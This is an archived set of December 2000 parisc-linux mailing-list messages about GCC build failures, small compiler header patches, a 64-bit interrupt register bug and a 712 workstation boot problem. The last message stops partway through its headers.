/xxx/gnu/gcc-2.97/objdir/gcc/g++ -B/xxx/gnu/gcc-2.97/objdir/gcc/ -nostdinc++ -isystem /xxx/gnu/gcc-2.97/libstdc++ -isystem /xxx/gnu/gcc-2.97/libstdc++/std -isystem /xxx/gnu/gcc-2.97/libstdc++/stl -isystem /xxx/gnu/gcc-2.97/libio -isystem /xxx/gnu/gcc-2.97/objdir/hppa1.1-hp-hpux10.20/libio -L/xxx/gnu/gcc-2.97/objdir/hppa1.1-hp-hpux10.20/libstdc++ -B/usr/local/hppa1.1-hp-hpux10.20/bin/ -B/usr/local/hppa1.1-hp-hpux10.20/lib/ -isystem /usr/local/hppa1.1-hp-hpux10.20/include -c -O3 -fno-implicit-templates -I../../../libstdc++ -I../../../libstdc++/stl -I../libio -I../../../libstdc++/../libio -I../../../libstdc++/../include -I../../../libstdc++/../gcc -nostdinc++  ../../../libstdc++/exception.cc
../../../libstdc++/exception.cc: In function `void __check_eh_spec(int, const 
   void**)':
../../../libstdc++/exception.cc:363: Internal error: Segmentation fault.
Please submit a full bug report.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
make[1]: *** [exception.o] Error 1
make[1]: Leaving directory `/xxx/gnu/gcc-2.97/objdir/hppa1.1-hp-hpux10.20/libstdc++'
make: *** [all-target-libstdc++] Error 2

The seg fault occurs in make_edge called from make_label_edge.  It occurs
because BLOCK_FOR_INSN (label) is 0.  The label either has been deleted or
never emitted.  I believe the reference comes from a note.  Didn't have
this problem last week.  If anybody is aware of a change that might have
affected this, let me know.

Progress has been slow in debugging this because there are problems with
the current version of gdb.  Register printouts and even the location
of seg faults is sometimes wrong.  Have to use adb to check results (yuck).
Need to get the current cvs version of gdb working properly on the pa again.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

2000-12-08  John David Anglin  <dave@hiauly1.hia.nrc.ca>

	* pa.h: Define RETURN_POINTER_REGNUM and EPILOGUE_USES.

--- pa.h.orig	Wed Dec  6 20:21:25 2000
+++ pa.h	Fri Dec  8 16:28:58 2000
@@ -480,6 +480,9 @@
 #define INITIAL_FRAME_POINTER_OFFSET(VAR) \
   do {(VAR) = - compute_frame_size (get_frame_size (), 0);} while (0)
 
+/* Register in which the return pointer/address is passed to a function.  */
+#define RETURN_POINTER_REGNUM 2
+
 /* Base register for access to arguments of the function.  */
 #define ARG_POINTER_REGNUM 3
 
@@ -890,6 +893,11 @@
    functions that have frame pointers.
    No definition is equivalent to always zero.  */
 
+/* Define this macro as a C expression that is nonzero for registers
+   used by the epilogue or the `return' pattern.  */
+
+#define EPILOGUE_USES(REGNO) ((REGNO) == RETURN_POINTER_REGNUM)
+
 extern int may_call_alloca;
 
 #define EXIT_IGNORE_STACK	\


From - Thu Nov 08 21:14:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A500 status update
Date: Mon, 11 Dec 2000 18:52:32 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20001211185232.W7166@linuxcare.com>
References: <200012070634.WAA07459@milano.cup.hp.com> <d3d7ez6kb7.fsf@lxplus015.cern.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619419 8386 80.91.229.3 (22 Nov 2014 01:23:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:39 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@puffin.external.hp.com,
        debian-hppa@lists.debian.org
To: Jes Sorensen <jes@linuxcare.com>
Original-X-From: rhirst@linuxcare.com  Mon Dec 11 11:55:20 2000
Original-Received: from rhirst.linuxcare.com (user-79-182.jakinternet.co.uk [194.88.79.182] (may be forged))
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA32016
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Dec 2000 11:55:15 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 0DF1CB005; Mon, 11 Dec 2000 18:52:32 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <d3d7ez6kb7.fsf@lxplus015.cern.ch>; from jes@linuxcare.com on Mon, Dec 11, 2000 at 04:37:16PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:8851

On Mon, Dec 11, 2000 at 04:37:16PM +0100, Jes Sorensen wrote:
> >>>>> "Grant" == Grant Grundler <grundler@cup.hp.com> writes:
> 
> Grant> o dd to
> Grant> raw disk isn't working right. "No space left on device".  See
> Grant> the output below.
> 
> Likely cause would be that the structs for stat don't match between
> the kernel and glibc. I still think the best approach would be to go
> for a clean 64 bit userland from the beginning as we have on the Alpha
> and ia64 and provide backwards compat support afterwards. I don't like
> to see the hppa64 port end up in the same situation as sparc64 where
> almost nothing gets done for years because there is already a 32 bit
> userland.

This 'no space' problem was caused by an error in the register save/
restore on interrupts, for 64 bit (assembly.h):

date: 2000/12/11 13:10:49;  author: rhirst;  state: Exp;  lines: +10 -0
cr11 (sar) is a funny one.  5 bits on PA1.1 and 6 bit on PA2.0.  For
PA2.0 mtsar or mtctl always write 6 bits, but mfctl only reads 5 bits.
Use mfctl,w to read all six bits.  Otherwise we loose the 6th bit on a
save/restore over interrupt.  Caused dd of=/dev/sdaX to report no space
available at random.

Richard


From - Thu Nov 08 21:14:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Meissner <meissner@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Mon, 11 Dec 2000 16:27:22 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20001211162722.D7646@cse.cygnus.com>
References: <20001206161627.C1272@redhat.com> <200012082205.RAA22208@hiauly1.hia.nrc.ca> <20001208154527.B4084@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619420 8390 80.91.229.3 (22 Nov 2014 01:23:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:40 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, alan@linuxcare.com.au,
        law@cygnus.com, rhirst@linuxcare.com, parisc-linux@thepuffingroup.com,
        gcc-bugs@gcc.gnu.org
To: Richard Henderson <rth@redhat.com>
Original-X-From: meissner@cygnus.com  Mon Dec 11 14:25:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA00769
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Dec 2000 14:25:42 -0700
Original-Received: (qmail 19930 invoked by uid 15267); 11 Dec 2000 21:27:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19652 invoked from network); 11 Dec 2000 21:27:32 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 11 Dec 2000 21:27:32 -0000
Original-Received: from cse.cygnus.com (cse.cygnus.com [205.180.230.236])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id NAA01546;
	Mon, 11 Dec 2000 13:27:23 -0800 (PST)
Original-Received: (meissner@localhost) by cse.cygnus.com (8.8.8+Sun/8.6.4) id NAA08981; Mon, 11 Dec 2000 13:27:22 -0800 (PST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20001208154527.B4084@redhat.com>; from rth@redhat.com on Fri, Dec 08, 2000 at 03:45:27PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:8852

On Fri, Dec 08, 2000 at 03:45:27PM -0800, Richard Henderson wrote:
> On Fri, Dec 08, 2000 at 05:05:21PM -0500, John David Anglin wrote:
> > I am wondering if side_effects_p should return 1 if it encounters
> > an UNSPEC.
> 
> No, because an UNSPEC has no side effects.

To be pedantic, an UNSPEC by itself has no side effects, but obviously an
UNSPEC could have arguments that use PRE_DEC, PRE_INC, POST_MODIFY, etc.

> As I said before, the simplest thing is to check for general_operand
> before creating the REG_EQUAL note.  Any other solution requires reload
> to Do Things to the INSN_CODE during rematerialization.

-- 
Michael Meissner, Red Hat, Inc.
PMB 198, 174 Littleton Road #3, Westford, Massachusetts 01886, USA
Work:	  meissner@redhat.com		phone: +1 978-486-9304
Non-work: meissner@spectacle-pond.org	fax:   +1 978-692-4482


From - Thu Nov 08 21:14:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jcarlson@macalester.edu
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux on HP
Date: Mon, 11 Dec 2000 15:45:47 -0500 (CDT)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.PMDF.3.96.1001211153646.22674A-100000@macalester.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619420 8395 80.91.229.3 (22 Nov 2014 01:23:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: JCARLSON@macalester.edu  Mon Dec 11 14:43:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA01588
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Dec 2000 14:43:04 -0700
Original-Received: (qmail 16535 invoked by uid 15267); 11 Dec 2000 21:45:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16370 invoked from network); 11 Dec 2000 21:45:46 -0000
Original-Received: from apollo.cc.macalester.edu (141.140.1.2)
  by mailserv2.iuinc.com with SMTP; 11 Dec 2000 21:45:46 -0000
Original-Received: from macalester.edu by macalester.edu (PMDF V5.2-32 #38670)
 id <01JXL0GTIOZK000HHU@macalester.edu> for parisc-linux@thepuffingroup.com;
 Mon, 11 Dec 2000 15:45:48 CDT
Xref: news.gmane.org gmane.linux.ports.parisc:8853

Recently I've been assigned the task of setting up a few old HP machines
for paralell processing tasks.  In doing so, I have come upon your project
in porting linux to HP machines.
I was curious as to the status of a few of the projects as well as the
availability of possible binary distributions.
I'm curious about the status of Merlin 160, Raven 120 T' and Gecko.
Any information you could give me would be most helpful.
Thank you,
 - Josiah Carlson


From - Thu Nov 08 21:14:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Tue, 12 Dec 2000 10:51:38 +1100 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012121041590.27939-100000@front.linuxcare.com.au>
References: <200012111848.NAA20477@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619420 8399 80.91.229.3 (22 Nov 2014 01:23:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:40 +0000 (UTC)
Cc: law@redhat.com, rth@redhat.com, Richard Hirst <rhirst@linuxcare.com>,
        parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: alan@linuxcare.com.au  Mon Dec 11 16:49:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA02617
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Dec 2000 16:49:13 -0700
Original-Received: (qmail 313 invoked by uid 15267); 11 Dec 2000 23:51:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32754 invoked from network); 11 Dec 2000 23:51:57 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 11 Dec 2000 23:51:57 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA29916;
	Tue, 12 Dec 2000 10:51:38 +1100
In-Reply-To: <200012111848.NAA20477@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:8854

On Mon, 11 Dec 2000, John David Anglin wrote:

> Progress has been slow in debugging this because there are problems with
> the current version of gdb.

You're not kidding!  I'm rewriting the gdb hppa target dependent code to
use the gdb multi-arch scheme...

>  Register printouts and even the location
> of seg faults is sometimes wrong.  Have to use adb to check results (yuck).
> Need to get the current cvs version of gdb working properly on the pa again.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc wchar patch for hppa64
Date: Mon, 11 Dec 2000 19:06:47 -0500 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <200012120006.TAA29936@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.21.0012102347330.31734-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619421 8408 80.91.229.3 (22 Nov 2014 01:23:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:41 +0000 (UTC)
Cc: grundler@cup.hp.com, parisc-linux@thepuffingroup.com
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: dave@hiauly1.hia.nrc.ca  Mon Dec 11 17:08:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA03210
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Dec 2000 17:08:09 -0700
Original-Received: (qmail 23504 invoked by uid 15267); 12 Dec 2000 00:10:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23303 invoked from network); 12 Dec 2000 00:10:48 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 12 Dec 2000 00:10:48 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id TAA29936;
	Mon, 11 Dec 2000 19:06:48 -0500 (EST)
In-Reply-To: <Pine.LNX.4.21.0012102347330.31734-100000@front.linuxcare.com.au> from "Alan Modra" at Dec 11, 2000 00:02:57 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8855

Alan,

This patch fixes a problem with wide characters.  We need to override the
defines in svr4.h.  With this, I get much further building a 64 bit glibc.
Please review and install if ok.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

2000-12-11  John David Anglin  <dave@hiauly1.hia.nrc.ca>

	* pa-linux64.h: Define WCHAR_TYPE and WCHAR_TYPE_SIZE per ABI.

--- pa-linux64.h.orig	Mon Oct 30 02:58:24 2000
+++ pa-linux64.h	Mon Dec 11 18:15:14 2000
@@ -158,9 +158,13 @@
   Make GCC agree with types.h.  */
 #undef SIZE_TYPE
 #undef PTRDIFF_TYPE
+#undef WCHAR_TYPE
+#undef WCHAR_TYPE_SIZE
 
 #define SIZE_TYPE "long unsigned int"
 #define PTRDIFF_TYPE "long int"
+#define WCHAR_TYPE "unsigned int"
+#define WCHAR_TYPE_SIZE 32
 
 /* If it is not listed here, then the default selected by GCC is OK.  */
 #define SHORT_TYPE_SIZE 16


From - Thu Nov 08 21:14:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc wchar patch for hppa64
Date: Tue, 12 Dec 2000 12:43:30 +1100 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012121218240.27939-100000@front.linuxcare.com.au>
References: <200012120006.TAA29936@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619421 8411 80.91.229.3 (22 Nov 2014 01:23:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:41 +0000 (UTC)
Cc: grundler@cup.hp.com, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: alan@linuxcare.com.au  Mon Dec 11 18:43:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA04317
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Dec 2000 18:43:51 -0700
Original-Received: (qmail 545 invoked by uid 15267); 12 Dec 2000 01:46:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 514 invoked from network); 12 Dec 2000 01:46:28 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 12 Dec 2000 01:46:28 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA01912;
	Tue, 12 Dec 2000 12:43:30 +1100
In-Reply-To: <200012120006.TAA29936@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:8856

On Mon, 11 Dec 2000, John David Anglin wrote:

> This patch fixes a problem with wide characters.  We need to override the
> defines in svr4.h.  With this, I get much further building a 64 bit glibc.
> Please review and install if ok.

Thanks!  Installed.

-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:14:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60 booting problem
Date: Mon, 11 Dec 2000 23:46:15 -0500
Organization: The Puffins at Linuxcare
Lines: 26
Approved: news@gmane.org
Message-ID: <3A35AD97.BBBC9C5F@linuxcare.com>
References: <13F0486DB51CD311A0AE0008C7C561380453D430@eseis11nok> <3A34FA94.AECD14A8@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619421 8415 80.91.229.3 (22 Nov 2014 01:23:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:41 +0000 (UTC)
To: Marko.T.Niskanen@nokia.com, parisc-linux@thepuffingroup.com
Original-X-From: adevries@linuxcare.com  Mon Dec 11 21:41:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA05587
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Dec 2000 21:41:21 -0700
Original-Received: (qmail 30263 invoked by uid 15267); 12 Dec 2000 04:44:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30245 invoked from network); 12 Dec 2000 04:44:06 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 12 Dec 2000 04:44:06 -0000
Original-Received: (qmail 392 invoked from network); 12 Dec 2000 04:43:58 -0000
Original-Received: from hse-ottawa-ppp157900.sympatico.ca (HELO linuxcare.com) (adevries@64.229.132.63)
  by smtp.linuxcare.com with SMTP; 12 Dec 2000 04:43:58 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8857

Alex deVries wrote:
> 
> Marko.T.Niskanen@nokia.com wrote:
> >
> > hello
> >
> > after installing from palinux-0.5.iso.gz on cd and during booting I can get
> > this kind error
> 
> Okay.  You've got to give us some sort of clue as to what kind of
> machine that is, because I can't guess.

What a silly question, since you mentioned it in your subject it was a
712/80.

Where do you get the problem?  Do you have a bootlog for us?

- Alex


-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marko.T.Niskanen@nokia.com
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 712/60 booting problem
Date: Tue, 12 Dec 2000 08:05:00 +0200
Lines: 73
Approved: news@gmane.org
Message-ID: <13F0486DB51CD311A0AE0008C7C561380453D431@eseis11nok>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619422 8421 80.91.229.3 (22 Nov 2014 01:23:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:42 +0000 (UTC)
Cc: adevries@linuxcare.com
To: parisc-linux@thepuffingroup.com
Original-X-From: Marko.T.Niskanen@nokia.com  Mon Dec 11 23:03:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA06603
	for <parisc-linux@puffin.external.hp.com>; Mon, 11 Dec 2000 23:03:21 -0700
Original-Received: (qmail 1784 invoked by uid 15267); 12 Dec 2000 06:05:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1775 invoked from network); 12 Dec 2000 06:05:16 -0000
Original-Received: from mgw-x3.nokia.com (131.228.20.26)
  by mailserv2.iuinc.com with SMTP; 12 Dec 2000 06:05:16 -0000
Original-Received: from esvir07nok.ntc.nokia.com (esvir07nok.nokia.com [131.228.20.79])
	by mgw-x3.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id eBC654B15113
	for <parisc-linux@thepuffingroup.com>; Tue, 12 Dec 2000 08:05:04 +0200 (EET)
Original-Received: from esebh03nok.ntc.nokia.com (unverified) by esvir07nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <T83e4144f506ecce07e@esvir07nok.ntc.nokia.com>;
 Tue, 12 Dec 2000 08:05:04 +0200
Original-Received: by esebh03nok with Internet Mail Service (5.5.2652.78)
	id <YVDJQQ6J>; Tue, 12 Dec 2000 08:05:04 +0200
X-Mailer: Internet Mail Service (5.5.2652.78)
Xref: news.gmane.org gmane.linux.ports.parisc:8858

Hi

Sorry I have no boot log, because linux doesn't start and I have no idea how
to get it an another way.  after text on console "switching from PDC
console", I can read from serial port: 

kmem_create: Forcing size word alignment - nfs_fh VFS: Mounted root (ext2
filesystem) readonly. !!die_if_kernel: init(1): Illegal instruction 8

and after that starts that "loop" 

ORIG_R28: 4001ad7c

handle_interruption() pid=1 command='init'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000011000000000000001011
r0-3     00000000 40136c24 400462f7 40136c1c
r4-7     40138c38 2001ff2c 2001ff24 00000001
r8-11    2001ff2c 2001ff24 00000001 4001ada0
r12-15   4001ad7c 00000000 00000000 00000000
r16-19   c3fc4000 c028060c 00000000 40138c38
r20-23   4013d754 4013ac38 400540bc 40136290
r24-27   2001ff2c 2001ff24 00000001 c0145da8
r28-31   40019450 4013a438 20020180 400462f7
sr0-4    00000000 00002000 00000000 00002000
sr4-8    00002000 00002000 00002000 00002000

...and so on..

Marko

> -----Original Message-----
> From: EXT Alex deVries [mailto:adevries@linuxcare.com]
> Sent: 12 December, 2000 6:46
> To: Marko.T.Niskanen@nokia.com; parisc-linux@thepuffingroup.com
> Subject: Re: [parisc-linux] 712/60 booting problem
> 
> 
> Alex deVries wrote:
> > 
> > Marko.T.Niskanen@nokia.com wrote:
> > >
> > > hello
> > >
> > > after installing from palinux-0.5.iso.gz on cd and during 
> booting I can get
> > > this kind error
> > 
> > Okay.  You've got to give us some sort of clue as to what kind of
> > machine that is, because I can't guess.
> 
> What a silly question, since you mentioned it in your subject it was a
> 712/80.
> 
> Where do you get the problem?  Do you have a bootlog for us?
> 
> - Alex
> 
> 
> -- 
> Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
> 613.562.2759 tel
> alex@linuxcare.com, http://www.linuxcare.com/
> Linuxcare, Support for the revolution.
> 
> --------------------------------------------------------------
> -------------
> To unsubscribe: send e-mail to 
> parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 


From - Thu Nov 08 21:14:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jason@equator.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ld problem workaround
Date: Thu, 6 May 1999 15:14:59 -0700 (PDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <199905062214.PAA16853@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619422 8423 80.91.229.3 (22 Nov 2014 01:23:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: prumpf@jcsbs.lanobis.de
Original-X-From: jason@gatekeeper.equator.com  Thu May  6 15:16:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA29426
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 May 1999 15:16:46 -0600
Original-Received: (qmail 25314 invoked by uid 15267); 6 May 1999 22:12:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25304 invoked from network); 6 May 1999 22:12:47 -0000
Original-Received: from gatekeeper.equator.com (jason@204.137.130.1)
  by mailserv2.iuinc.com with SMTP; 6 May 1999 22:12:47 -0000
Original-Received: (from jason@localhost)
	by gatekeeper.equator.com (8.9.1a/8.9.1) id PAA16853;
	Thu, 6 May 1999 15:14:59 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8859


> Is there any reason not to let this stay in the kernel tree ? I think being able
> to make the necessary changes in the CVS tree instead of sending them to you would
> be convenient. (Or is the "official version" the CVS one ?)
>

  Currently I am behind a firewall and cannot use CVS through it. This
  will be remedied shortly. In any case, a slightly older version of the
  bootloader is in the CVS tree. The mentioned file is the newest version,
  though, and should probably be used instead.
  What code are you proposing to add to the bootloader? ext2 support is
  underway.
  Jason.


From - Thu Nov 08 21:14:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60 booting problem
Date: Tue, 12 Dec 2000 00:22:29 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20001212072229.2719137CA1@carmen.fc.hp.com>
References: <13F0486DB51CD311A0AE0008C7C561380453D431@eseis11nok>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619422 8427 80.91.229.3 (22 Nov 2014 01:23:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, adevries@linuxcare.com
To: Marko.T.Niskanen@nokia.com
Original-X-From: taggart@carmen.fc.hp.com  Tue Dec 12 00:17:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA07523
	for <parisc-linux@puffin.external.hp.com>; Tue, 12 Dec 2000 00:17:50 -0700
Original-Received: (qmail 31793 invoked by uid 15267); 12 Dec 2000 07:20:36 -0000
